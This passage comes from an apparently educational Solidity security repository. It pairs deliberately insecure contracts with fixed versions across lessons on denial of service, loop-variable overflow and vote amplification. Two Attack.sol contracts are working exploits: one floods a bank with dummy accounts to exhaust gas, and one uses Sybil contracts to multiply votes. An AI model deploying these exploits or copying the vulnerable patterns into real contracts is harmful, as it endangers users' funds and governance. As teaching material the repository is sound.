Deduct 10% from the last deposited amount for the next leader 65 | 66 | // FIX: Record a refund for the previous leader 67 | prevLeaderRefunds[prevLeader] += refundAmount; 68 | } 69 | } 70 | 71 | // FIX: For previous leaders to claim their refunds 72 | function claimRefund() external noReentrant { 73 | uint256 refundAmount = prevLeaderRefunds[msg.sender]; 74 | require(refundAmount != 0, "You have no refund"); 75 | 76 | prevLeaderRefunds[msg.sender] = 0; 77 | 78 | (bool success, ) = msg.sender.call{value: refundAmount}(""); 79 | require(success, "Failed to send Ether"); 80 | } 81 | 82 | // For the winner to claim principal and reward 83 | function claimPrincipalAndReward() external noReentrant { 84 | require(block.timestamp >= challengeEnd, "Challenge is not finished yet"); 85 | require(msg.sender == currentleader, "You are not the winner"); 86 | require(!rewardClaimed, "Reward was claimed"); 87 | 88 | rewardClaimed = true; 89 | 90 | // Transfer principal + reward to the winner 91 | uint256 amount = lastDepositedAmount + currentLeaderReward; 92 | 93 | (bool success, ) = currentleader.call{value: amount}(""); 94 | require(success, "Failed to send Ether"); 95 | } 96 | 97 | function getEtherBalance() external view returns (uint256) { 98 | return address(this).balance; 99 | } 100 | 101 | function isChallengeEnd() external view returns (bool) { 102 | return block.timestamp >= challengeEnd; 103 | } 104 | } -------------------------------------------------------------------------------- /09_denial_of_service_with_revert/InsecureWinnerTakesItAll.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract InsecureWinnerTakesItAll is ReentrancyGuard { 16 | address public currentleader; 17 | uint256 public lastDepositedAmount; 18 | 19 | uint256 public currentLeaderReward; 20 | uint256 public nextLeaderReward; 21 | 22 | bool public rewardClaimed; 23 | uint256 public immutable challengeEnd; 24 | 25 | constructor(uint256 _challengePeriod) payable { 26 | require(msg.value == 10 ether, "Require an initial 10 Ethers reward"); 27 | 28 | currentleader = address(0); 29 | lastDepositedAmount = msg.value; 30 | currentLeaderReward = 0; 31 | nextLeaderReward = msg.value; 32 | rewardClaimed = false; 33 | challengeEnd = block.timestamp + _challengePeriod; 34 | } 35 | 36 | function claimLeader() external payable noReentrant { 37 | require(block.timestamp < challengeEnd, "Challenge is finished"); 38 | require(msg.sender != currentleader, "You are the current leader"); 39 | require(msg.value > lastDepositedAmount, "You must pay more than the current leader"); 40 | 41 | if (currentleader == address(0)) { // First claimer (no need to refund the initial reward) 42 | // Assign the new leader 43 | currentleader = msg.sender; 44 | lastDepositedAmount = msg.value; 45 | 46 | currentLeaderReward = nextLeaderReward; // Accrue the reward 47 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader 48 | } 49 | else { // Next claimers 50 | // Refund the previous leader with 90% of his deposit 51 | uint256 refundAmount = lastDepositedAmount * 9 / 10; 52 | 53 | // Assign the new leader 54 | address prevLeader = currentleader; 55 | currentleader = msg.sender; 56 | lastDepositedAmount = msg.value; 57 | 58 | currentLeaderReward = nextLeaderReward; // Accrue the reward 59 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader 60 | 61 | (bool success, ) = prevLeader.call{value: refundAmount}(""); 62 | require(success, "Failed to send Ether"); 63 | } 64 | } 65 | 66 | // For the winner to claim principal and reward 67 | function claimPrincipalAndReward() external noReentrant { 68 | require(block.timestamp >= challengeEnd, "Challenge is not finished yet"); 69 | require(msg.sender == currentleader, "You are not the winner"); 70 | require(!rewardClaimed, "Reward was claimed"); 71 | 72 | rewardClaimed = true; 73 | 74 | // Transfer principal + reward to the winner 75 | uint256 amount = lastDepositedAmount + currentLeaderReward; 76 | 77 | (bool success, ) = currentleader.call{value: amount}(""); 78 | require(success, "Failed to send Ether"); 79 | } 80 | 81 | function getEtherBalance() external view returns (uint256) { 82 | return address(this).balance; 83 | } 84 | 85 | function isChallengeEnd() external view returns (bool) { 86 | return block.timestamp >= challengeEnd; 87 | } 88 | } -------------------------------------------------------------------------------- /09_denial_of_service_with_revert/README.md: -------------------------------------------------------------------------------- 1 | # 09. Denial of Service With Revert 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Denial of Service With Revert]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/) | -------------------------------------------------------------------------------- /10_denial_of_service_with_gas_limit/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | interface INaiveBank { 14 | function depositFor(address _user) external payable; 15 | } 16 | 17 | contract Attack { 18 | INaiveBank public immutable naiveBank; 19 | uint160 public dummyAccountCount; 20 | 21 | constructor(INaiveBank _naiveBank) { 22 | naiveBank = _naiveBank; 23 | } 24 | 25 | function openDummyAccounts(uint160 _noAccounts) external payable { 26 | require(msg.value == _noAccounts, "Invalid Ether amount"); 27 | 28 | for (uint160 i = 0; i < _noAccounts; i++) { 29 | // Open a dummy account with the 1 wei deposit 30 | naiveBank.depositFor{value: 1}(address(++dummyAccountCount)); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /10_denial_of_service_with_gas_limit/FixedNaiveBank.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | // This contract demonstrates a simple batch processing for calculating users' compound interests. 14 | // It is just a proof of concept of the batch processing only. 15 | 16 | // The contract still has a double spending issue via the depositFor() function, 17 | // but it is not the scope of this example though. Even an approach to calculating 18 | // the interests is still insecure. 19 | 20 | // For this reason, please do not use this contract code in your production 21 | 22 | contract FixedNaiveBank { 23 | uint256 public constant INTEREST_RATE = 5; // 5% interest 24 | 25 | mapping (address => uint256) private userBalances; 26 | address[] private userAddresses; 27 | 28 | address public immutable owner; 29 | 30 | constructor() { 31 | owner = msg.sender; 32 | } 33 | 34 | modifier onlyOwner() { 35 | require(owner == msg.sender, "You are not the owner"); 36 | _; 37 | } 38 | 39 | function depositBankFunds() external payable onlyOwner { 40 | require(msg.value > 0, "Require some funds"); 41 | } 42 | 43 | // There is a double spending issue on the depositFor() function, 44 | // but it is not the scope of this example though 45 | function depositFor(address _user) external payable { 46 | require(_user != address(0), "Do not support a zero address"); 47 | require(msg.value > 0, "Require some funds"); 48 | 49 | // Register new user 50 | if (userBalances[_user] == 0) { 51 | userAddresses.push(_user); 52 | } 53 | 54 | userBalances[_user] += msg.value; 55 | } 56 | 57 | function withdraw(uint256 _withdrawAmount) external { 58 | require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance"); 59 | userBalances[msg.sender] -= _withdrawAmount; 60 | 61 | (bool success, ) = msg.sender.call{value: _withdrawAmount}(""); 62 | require(success, "Failed to send Ether"); 63 | } 64 | 65 | // FIX: This function demonstrates a simple batch processing for calculating users' compound interests 66 | // It is just a proof of concept of the batch processing only and should not be used in production 67 | function batchApplyInterest(uint256 _beginUserID, uint256 _endUserID) 68 | external onlyOwner returns (uint256 minBankBalanceRequiredThisBatch_) 69 | { 70 | require(_beginUserID < userAddresses.length, "_beginUserID is out of range"); 71 | require(_endUserID >= _beginUserID, "_endUserID must be more than or equal to _beginUserID"); 72 | 73 | if (_endUserID >= userAddresses.length) { 74 | _endUserID = userAddresses.length - 1; 75 | } 76 | 77 | for (uint256 i = _beginUserID; i <= _endUserID; i++) { 78 | address user = userAddresses[i]; 79 | uint256 balance = userBalances[user]; 80 | 81 | // Update user's compound interest 82 | userBalances[user] = balance * (100 + INTEREST_RATE) / 100; 83 | 84 | // Calculate the minimum bank balance required (for this batch) to pay for each user 85 | minBankBalanceRequiredThisBatch_ += userBalances[user]; 86 | } 87 | } 88 | 89 | function getBankBalance() external view returns (uint256) { 90 | return address(this).balance; 91 | } 92 | 93 | function getUserBalance(address _user) external view returns (uint256) { 94 | return userBalances[_user]; 95 | } 96 | 97 | function getUserLength() external view returns (uint256) { 98 | return userAddresses.length; 99 | } 100 | } -------------------------------------------------------------------------------- /10_denial_of_service_with_gas_limit/InsecureNaiveBank.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | contract InsecureNaiveBank { 14 | uint256 public constant INTEREST_RATE = 5; // 5% interest 15 | 16 | mapping (address => uint256) private userBalances; 17 | address[] private userAddresses; 18 | 19 | address public immutable owner; 20 | 21 | constructor() { 22 | owner = msg.sender; 23 | } 24 | 25 | modifier onlyOwner() { 26 | require(owner == msg.sender, "You are not the owner"); 27 | _; 28 | } 29 | 30 | function depositBankFunds() external payable onlyOwner { 31 | require(msg.value > 0, "Require some funds"); 32 | } 33 | 34 | // There is a double spending issue on the depositFor() function, 35 | // but it is not the scope of this example though 36 | function depositFor(address _user) external payable { 37 | require(_user != address(0), "Do not support a zero address"); 38 | require(msg.value > 0, "Require some funds"); 39 | 40 | // Register new user 41 | if (userBalances[_user] == 0) { 42 | userAddresses.push(_user); 43 | } 44 | 45 | userBalances[_user] += msg.value; 46 | } 47 | 48 | function withdraw(uint256 _withdrawAmount) external { 49 | require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance"); 50 | userBalances[msg.sender] -= _withdrawAmount; 51 | 52 | (bool success, ) = msg.sender.call{value: _withdrawAmount}(""); 53 | require(success, "Failed to send Ether"); 54 | } 55 | 56 | function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) { 57 | for (uint256 i = 0; i < userAddresses.length; i++) { 58 | address user = userAddresses[i]; 59 | uint256 balance = userBalances[user]; 60 | 61 | // Update user's compound interest 62 | userBalances[user] = balance * (100 + INTEREST_RATE) / 100; 63 | 64 | // Calculate the minimum bank balance required to pay for each user 65 | minBankBalanceRequired_ += userBalances[user]; 66 | } 67 | } 68 | 69 | function getBankBalance() external view returns (uint256) { 70 | return address(this).balance; 71 | } 72 | 73 | function getUserBalance(address _user) external view returns (uint256) { 74 | return userBalances[_user]; 75 | } 76 | 77 | function getUserLength() external view returns (uint256) { 78 | return userAddresses.length; 79 | } 80 | } -------------------------------------------------------------------------------- /10_denial_of_service_with_gas_limit/README.md: -------------------------------------------------------------------------------- 1 | # 10. Denial of Service With Gas Limit 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Denial of Service With Gas Limit]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-10-denial-of-service-with-gas-limit-346e87e2ef78)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-10-denial-of-service-with-gas-limit/) | -------------------------------------------------------------------------------- /11_denial_of_service_with_induction_variable_overflow/FixedSimpleAirdrop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | // This contract still has integer overflow and denial-of-service issues, but they are not 14 | // the scope of this example though. Therefore, please do not use this contract code in production 15 | contract FixedSimpleAirdrop { 16 | address public immutable launcher; 17 | 18 | constructor(address _launcher) public payable { 19 | require(_launcher != address(0), "Launcher cannot be a zero address"); 20 | require(msg.value >= 1 ether, "Require at least 1 Ether"); 21 | launcher = _launcher; 22 | } 23 | 24 | modifier onlyLauncher() { 25 | require(launcher == msg.sender, "You are not the launcher"); 26 | _; 27 | } 28 | 29 | function transferAirdrops(uint256 _amount, address[] calldata _receivers) external onlyLauncher { 30 | require(_amount > 0, "Amount must be more than 0"); 31 | require(_receivers.length > 0, "Require at least 1 receiver"); 32 | require( 33 | getBalance() >= _amount * _receivers.length, // Integer overflow issue (not the scope of this example) 34 | "Insufficient Ether balance to transfer" 35 | ); 36 | 37 | // Transfer airdrops to all receivers 38 | for (uint256 i = 0; i < _receivers.length; i++) { // FIX: Apply uint256 for the variable "i" 39 | (bool success, ) = _receivers[i].call{value: _amount}(""); // Denial-of-service issue (not the scope of this example) 40 | require(success, "Failed to send Ether"); 41 | } 42 | } 43 | 44 | function getBalance() public view returns (uint256) { 45 | return address(this).balance; 46 | } 47 | } -------------------------------------------------------------------------------- /11_denial_of_service_with_induction_variable_overflow/IssueSimulation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | interface ISimpleAirdrop { 14 | function transferAirdrops(uint256 _amount, address[] calldata _receivers) external; 15 | } 16 | 17 | contract IssueSimulation { 18 | uint256 public constant MAX_RECEIVERS = 300; 19 | 20 | function simulateIssue(ISimpleAirdrop _simpleAirdrop, uint256 _amount) external { 21 | require(_amount > 0, "Amount must be more than 0"); 22 | 23 | // Generate a mock-up set of 300 receivers 24 | address[] memory receivers = new address[](MAX_RECEIVERS); 25 | for (uint256 i = 0; i < MAX_RECEIVERS; i++) { 26 | receivers[i] = address(i + 1000); // receiver addresses: [1000 - 1299] 27 | } 28 | 29 | _simpleAirdrop.transferAirdrops(_amount, receivers); 30 | } 31 | } -------------------------------------------------------------------------------- /11_denial_of_service_with_induction_variable_overflow/README.md: -------------------------------------------------------------------------------- 1 | # 11. Denial of Service With Induction Variable Overflow 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Denial of Service With Induction Variable Overflow]() | - [On Medium](https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/) | -------------------------------------------------------------------------------- /11_denial_of_service_with_induction_variable_overflow/VulnerableSimpleAirdrop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-11-denial-of-service-with-induction-variable-overflow-9991299ac8e4 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-11-denial-of-service-with-induction-variable-overflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | contract VulnerableSimpleAirdrop { 14 | address public immutable launcher; 15 | 16 | constructor(address _launcher) public payable { 17 | require(_launcher != address(0), "Launcher cannot be a zero address"); 18 | require(msg.value >= 1 ether, "Require at least 1 Ether"); 19 | launcher = _launcher; 20 | } 21 | 22 | modifier onlyLauncher() { 23 | require(launcher == msg.sender, "You are not the launcher"); 24 | _; 25 | } 26 | 27 | function transferAirdrops(uint256 _amount, address[] calldata _receivers) external onlyLauncher { 28 | require(_amount > 0, "Amount must be more than 0"); 29 | require(_receivers.length > 0, "Require at least 1 receiver"); 30 | require( 31 | getBalance() >= _amount * _receivers.length, // Integer overflow issue (not the scope of this example) 32 | "Insufficient Ether balance to transfer" 33 | ); 34 | 35 | // Transfer airdrops to all receivers 36 | for (uint8 i = 0; i < _receivers.length; i++) { 37 | (bool success, ) = _receivers[i].call{value: _amount}(""); // Denial-of-service issue (not the scope of this example) 38 | require(success, "Failed to send Ether"); 39 | } 40 | } 41 | 42 | function getBalance() public view returns (uint256) { 43 | return address(this).balance; 44 | } 45 | } -------------------------------------------------------------------------------- /12_amplification_attack__double_spending_01/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | interface IMoonDAOVote { 16 | function vote(uint256 _candidateID) external; 17 | } 18 | 19 | contract AttackServant { 20 | IMoonToken public immutable moonToken; 21 | IMoonDAOVote public immutable moonDAOVote; 22 | 23 | constructor(IMoonToken _moonToken, IMoonDAOVote _moonDAOVote) { 24 | moonToken = _moonToken; 25 | moonDAOVote = _moonDAOVote; 26 | } 27 | 28 | function attack(uint256 _candidateID) external { 29 | uint256 moonInitAmount = moonToken.getUserBalance(address(this)); 30 | require(moonInitAmount >= 1, "Require at least 1 MOON to attack"); 31 | 32 | // Perform the vote and then transfer the MOON tokens back to the boss contract 33 | moonDAOVote.vote(_candidateID); 34 | moonToken.transfer(msg.sender, moonInitAmount); 35 | } 36 | } 37 | 38 | contract AttackBoss { 39 | IMoonToken public immutable moonToken; 40 | IMoonDAOVote public immutable moonDAOVote; 41 | 42 | constructor(IMoonToken _moonToken, IMoonDAOVote _moonDAOVote) { 43 | moonToken = _moonToken; 44 | moonDAOVote = _moonDAOVote; 45 | } 46 | 47 | // Perform the voting amplification attack 48 | function attack(uint256 _candidateID, uint256 _xTimes) external { 49 | uint256 moonInitAmount = moonToken.getUserBalance(msg.sender); 50 | require(moonInitAmount >= 1, "Require at least 1 MOON to attack"); 51 | 52 | // Transfer MOON tokens from the attacker to this contract 53 | moonToken.transferFrom(msg.sender, address(this), moonInitAmount); 54 | 55 | for (uint256 i = 0; i < _xTimes; i++) { 56 | // Create a servant contract, a Sybil account 57 | AttackServant servant = new AttackServant(moonToken, moonDAOVote); 58 | 59 | // Transfer MOON tokens to the servant contract 60 | moonToken.transfer(address(servant), moonInitAmount); 61 | 62 | // Invoke the servant contract to do the vote 63 | servant.attack(_candidateID); 64 | } 65 | 66 | // Transfer MOON tokens back to the attacker 67 | moonToken.transfer(msg.sender, moonInitAmount); 68 | } 69 | } -------------------------------------------------------------------------------- /12_amplification_attack__double_spending_01/Dependencies.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | abstract contract ReentrancyGuard { 14 | bool internal locked; 15 | 16 | modifier noReentrant() { 17 | require(!locked, "No re-entrancy"); 18 | locked = true; 19 | _; 20 | locked = false; 21 | } 22 | } 23 | 24 | interface IMoonToken { 25 | function buy(uint256 _amount) external payable; 26 | function sell(uint256 _amount) external; 27 | function transfer(address _to, uint256 _amount) external; 28 | function transferFrom(address _from, address _to, uint256 _value) external; 29 | function approve(address _spender, uint256 _value) external; 30 | function allowance(address _owner, address _spender) external view returns (uint256 remaining); 31 | function getEtherBalance() external view returns (uint256); 32 | function getUserBalance(address _user) external view returns (uint256); 33 | } 34 | 35 | contract MoonToken { 36 | mapping (address => uint256) private userBalances; 37 | mapping (address => mapping (address => uint256)) private allowed; 38 | 39 | uint256 private constant MAX_UINT256 = type(uint256).max; 40 | uint256 public constant TOKEN_PRICE = 1 ether; 41 | 42 | string public constant name = "Moon Token"; 43 | string public constant symbol = "MOON"; 44 | 45 | // The token is non-divisible 46 | // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5 47 | uint8 public constant decimals = 0; 48 | 49 | function buy(uint256 _amount) external payable { 50 | require( 51 | msg.value == _amount * TOKEN_PRICE, 52 | "Ether submitted and Token amount to buy mismatch" 53 | ); 54 | 55 | userBalances[msg.sender] += _amount; 56 | } 57 | 58 | function sell(uint256 _amount) external { 59 | require(userBalances[msg.sender] >= _amount, "Insufficient balance"); 60 | 61 | userBalances[msg.sender] -= _amount; 62 | 63 | (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}(""); 64 | require(success, "Failed to send Ether"); 65 | } 66 | 67 | function transfer(address _to, uint256 _amount) external { 68 | require(_to != address(0), "_to address is not valid"); 69 | require(userBalances[msg.sender] >= _amount, "Insufficient balance"); 70 | 71 | userBalances[msg.sender] -= _amount; 72 | userBalances[_to] += _amount; 73 | } 74 | 75 | function transferFrom(address _from, address _to, uint256 _value) external { 76 | uint256 allowance_ = allowed[_from][msg.sender]; 77 | require( 78 | userBalances[_from] >= _value && allowance_ >= _value, 79 | "Insufficient balance" 80 | ); 81 | 82 | userBalances[_to] += _value; 83 | userBalances[_from] -= _value; 84 | 85 | if (allowance_ < MAX_UINT256) { 86 | allowed[_from][msg.sender] -= _value; 87 | } 88 | } 89 | 90 | function approve(address _spender, uint256 _value) external { 91 | allowed[msg.sender][_spender] = _value; 92 | } 93 | 94 | function allowance(address _owner, address _spender) 95 | external 96 | view 97 | returns (uint256 remaining) 98 | { 99 | return allowed[_owner][_spender]; 100 | } 101 | 102 | function getEtherBalance() external view returns (uint256) { 103 | return address(this).balance; 104 | } 105 | 106 | function getUserBalance(address _user) external view returns (uint256) { 107 | return userBalances[_user]; 108 | } 109 | } -------------------------------------------------------------------------------- /12_amplification_attack__double_spending_01/FixedMoonDAOVote.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract FixedMoonDAOVote is ReentrancyGuard { 16 | IMoonToken public immutable moonToken; 17 | uint256 public immutable voteDeadline; 18 | 19 | // User Vote 20 | struct UserVote { 21 | uint256 candidateID; 22 | uint256 voteAmount; 23 | bool completed; 24 | bool moonWithdrawn; // FIX: Tracking the MOON token's withdrawal status 25 | } 26 | mapping (address => UserVote) private userVotes; 27 | 28 | // CEO Candidate 29 | struct CEOCandidate { 30 | string name; 31 | uint256 totalVoteAmount; 32 | } 33 | CEOCandidate[] private candidates; 34 | 35 | constructor(IMoonToken _moonToken, uint256 _voteDeadline) { 36 | moonToken = _moonToken; 37 | voteDeadline = _voteDeadline; 38 | 39 | // Candidate #0: Bob 40 | candidates.push( 41 | CEOCandidate({name: "Bob", totalVoteAmount: 0}) 42 | ); 43 | 44 | // Candidate #1: John 45 | candidates.push( 46 | CEOCandidate({name: "John", totalVoteAmount: 0}) 47 | ); 48 | 49 | // Candidate #2: Eve 50 | candidates.push( 51 | CEOCandidate({name: "Eve", totalVoteAmount: 0}) 52 | ); 53 | } 54 | 55 | function vote(uint256 _candidateID) external noReentrant { 56 | require(block.timestamp < voteDeadline, "Vote is finished"); 57 | require(!userVotes[msg.sender].completed, "You have already voted"); 58 | require(_candidateID < candidates.length, "Invalid candidate id"); 59 | 60 | uint256 voteAmount = moonToken.getUserBalance(msg.sender); 61 | require(voteAmount > 0, "You have no privilege to vote"); 62 | 63 | // FIX: Transfer the MOON tokens to lock in this contract 64 | // until the voting period is completed 65 | moonToken.transferFrom(msg.sender, address(this), voteAmount); 66 | 67 | userVotes[msg.sender] = UserVote({ 68 | candidateID: _candidateID, 69 | voteAmount: voteAmount, 70 | completed: true, 71 | moonWithdrawn: false // FIX: Tracking the MOON token's withdrawal status 72 | }); 73 | 74 | candidates[_candidateID].totalVoteAmount += voteAmount; 75 | } 76 | 77 | // FIX: Voters can withdraw MOON tokens after the voting period ends 78 | function withdrawMoonTokens() external noReentrant { 79 | require(block.timestamp >= voteDeadline, "Vote is not finished yet"); 80 | require(userVotes[msg.sender].completed, "You did not make the vote"); 81 | require(!userVotes[msg.sender].moonWithdrawn, "You have no MOON tokens to withdraw"); 82 | 83 | // Mark that the MOON tokens are withdrawn 84 | userVotes[msg.sender].moonWithdrawn = true; 85 | 86 | // Transfer the MOON tokens back to the voter 87 | moonToken.transfer(msg.sender, userVotes[msg.sender].voteAmount); 88 | } 89 | 90 | function getTotalCandidates() external view returns (uint256) { 91 | return candidates.length; 92 | } 93 | 94 | function getUserVote(address _user) external view returns (UserVote memory) { 95 | return userVotes[_user]; 96 | } 97 | 98 | function getCandidate(uint256 _candidateID) external view returns (CEOCandidate memory) { 99 | require(_candidateID < candidates.length, "Invalid candidate id"); 100 | return candidates[_candidateID]; 101 | } 102 | } -------------------------------------------------------------------------------- /12_amplification_attack__double_spending_01/InsecureMoonDAOVote.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-12-amplification-attack-double-spending-1-990b2da52e6c 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-12-amplification-attack-double-spending-01/ 10 | 11 | pragma solidity 0.8.20; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | contract InsecureMoonDAOVote is ReentrancyGuard { 16 | IMoonToken public immutable moonToken; 17 | uint256 public immutable voteDeadline; 18 | 19 | // User Vote 20 | struct UserVote { 21 | uint256 candidateID; 22 | uint256 voteAmount; 23 | bool completed; 24 | } 25 | mapping (address => UserVote) private userVotes; 26 | 27 | // CEO Candidate 28 | struct CEOCandidate { 29 | string name; 30 | uint256 totalVoteAmount; 31 | } 32 | CEOCandidate[] private candidates; 33 | 34 | constructor(IMoonToken _moonToken, uint256 _voteDeadline) { 35 | moonToken = _moonToken; 36 | voteDeadline = _voteDeadline; 37 | 38 | // Candidate #0: Bob 39 | candidates.push( 40 | CEOCandidate({name: "Bob", totalVoteAmount: 0}) 41 | ); 42 | 43 | // Candidate #1: John 44 | candidates.push( 45 | CEOCandidate({name: "John", totalVoteAmount: 0}) 46 | 